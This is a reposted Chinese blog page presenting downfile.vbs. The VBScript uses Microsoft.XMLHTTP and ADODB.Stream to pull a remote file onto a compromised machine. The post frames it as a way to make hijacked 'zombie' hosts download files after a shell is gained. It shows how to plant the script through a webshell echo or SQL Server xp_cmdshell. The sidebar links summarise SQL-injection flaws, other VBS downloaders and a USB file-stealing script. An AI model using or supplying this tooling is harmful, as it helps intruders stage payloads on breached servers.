远程下载脚本downfile.vbs

最新推荐文章于 2022-07-14 17:02:10 发布
转载 最新推荐文章于 2022-07-14 17:02:10 发布 · 1.9k 阅读 · 2
文章标签：

#脚本 #sqlserver #shell #xp

本文介绍了一种通过VBS脚本实现在WebShell环境下远程下载文件的方法。该脚本使用Microsoft.XMLHTTP对象发起GET请求获取远程文件内容，并通过ADODB.Stream对象将内容保存到本地指定路径。
拿到shell以后上传下载文件是个难题，下面的代码可以控制肉鸡自动下载文件。  

远程下载脚本downfile.vbs  
On Error Resume Next  
Dim iRemote,iLocal  
iLocal = LCase(WScript.Arguments(1))   
iRemote = LCase(WScript.Arguments(0))   
Set xPost = CreateObject("Microsoft.XMLHTTP")   
xPost.Open "GET",iRemote,0   
xPost.Send()   
Set sGet = CreateObject("ADODB.Stream")   
sGet.Mode = 3   
sGet.Type = 1   
sGet.Open()   
sGet.Write(xPost.responseBody)   
sGet.SaveToFile iLocal,2  

在webshell里面直接 echo ... >>c:/downfile.vbs就可以生成了，而sql server中可以用exec master.. xp_cmdshell ’echo ... >>c:/downfile.vbs ’。  

 

 
电子图书阅读平台 downFile.aspx SQL注入漏洞复现
0xSec
12-04 578
电子图书阅读平台 downFile.aspx 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
电子图书阅读平台downFile.aspx存在SQL注入漏洞
最新发布
缘梦未来的博客
12-03 348
电子图书阅读平台提供了超过千万册图书的在线阅读服务。其界面简洁，搜索功能强大，用户只需输入书名即可快速找到对应的电子书资源，并可选择多种格式进行下载阅读。它支持中文搜索，资源极其丰富，几乎涵盖了所有领域的书籍。用户可以在这里轻松找到并阅读自己需要的电子书。
VBS下载文件
蓦然回首
05-15 2120
'把以下代码存成.VBS，然后在命令行里调用。参数为：网址 本地文件 dim url dim file Set objArgs = WScript.Arguments if objArgs.Count < 2 then msgbox("Invalid param count! should be: url pathfilename") Else url = objArgs(0) file = objArgs(1) GetHttpResult url...
VBS下载者(通过vbscript实现文件下载)
09-04
主要介绍了通过vbscript实现文件下载功能的实现代码，主要是使用了ADODB.Stream，需要的朋友可以参考下
使用vbs下载文件
热门推荐
lake2的专栏
05-08 1万+
    说到使用vbs下载文件是不是想到了XMLHTTP呢，呵呵，以下是比较经典的代码：iLocal=LCase(Wscript.Arguments(1))iRemote=LCase(Wscript.Arguments(0))Set xPost=createObject("Microsoft.XMLHTTP")xPost.Open "GET",iRemote,0xPost.Send()set
vbs下载文件
dugu666的专栏
08-05 1359
<br /><br />Set x= CreateObject("Microsoft.XMLHTTP")<br />x.Open "GET","http://wps",0<br />x.Send()<br />Set s = CreateObject("ADODB.Stream")<br />s.Mode = 3<br />s.Type = 1<br />s.Open()<br />s.Write(x.responseBody)<br />s.SaveToFile LCase("c:/WPS2009.120
downfile.jsp
05-18
downfile.jsp
VBS下载并保存
lacoucou的专栏
07-14 1531
VBS下载并保存。
一个脚本文件
07-01
一个sh脚本文件的例子，初学者可以看看。脚本里涉及到的程序和第一性原理计算有关，看的时候如不需要可跳过。
vbs软件
06-03
vbs软件.rar
VBS脚本开发工具
06-04
VBS脚本开发工具，辅助你编写VBS脚本
Ctrl+r.vbs
12-03
Ctrl+r.vbs
一个VBS脚本，实现自动从U盘复制（偷）文件
02-22
为了讲课写的一个小脚本，水平有限，也在网上参考了一些其他人的代码，在代码中进行了简单的注释，基本可以实现自动从U盘中将特定类型的文件复制出来，也可以指定关键字进行复制，不过只能二选一，具体的功能可以自行看代码，写的时间有些长了，自己也有点看不懂了，若有问题，可以发邮件yuezelun@163.com，进行交流！！！
利用VBS下载EXE文件手法记录
weixin_30908707的博客
12-26 380
1、信息来源 疑似朝鲜通过鱼叉攻击韩国统一部记者的APT事件整理 https://mp.weixin.qq.com/s/4IFV31MBNbANnCVaJj7ZPQ https://twitter.com/blackorbird/status/1082553543280680962 2、利用思路 1、 下载http://恶意网址/note[.]png作为文件到%temp%路径下，通过【p...
新的VBS下载方法
08-28 1235
 来自: vbs空间好久没更新了，称此机会，更新下BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西，说是研究研究或许可以用来当下载者用。于是研究了一会。写出个粗糙的DEMO。exe2hex.vbs //xiaolu写的exe2vbs ，我修改成直接拖放,转成十六进制================================================
vbs脚本 实现下载文件和建立计划任务
简单的快乐
10-31 2749
用VB脚本实现1.下载文件2.建立计划任务3.检查计划任务是否建立成功 建立文件夹dim fPath dim returnCodereturnCode="200:ok"fPath = "D:/WebHostingAdmin/defaultweb/CheckWeb/"CreateFolder(fPath)下载需要的文件Set xPost = CreateObject("Microso
vbs破解版，很好用，实大实的，拿给大家共享
05-18
此工具是永久破解版，很好用，比在网上搜索到的VBS编辑工具好用多了，而且不会出现执行时间一次慢一次的情况。
多线程支持的断点续传下载工具downFile.jar
首先，"downFile.jar"很可能是用Java语言开发的一个可执行的Jar包，其主要功能是实现文件下载。Jar文件是Java的打包文件，可以包含Java类文件和相关的元数据，例如清单文件（manifest.mf），它指明了Jar包的入口点。...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值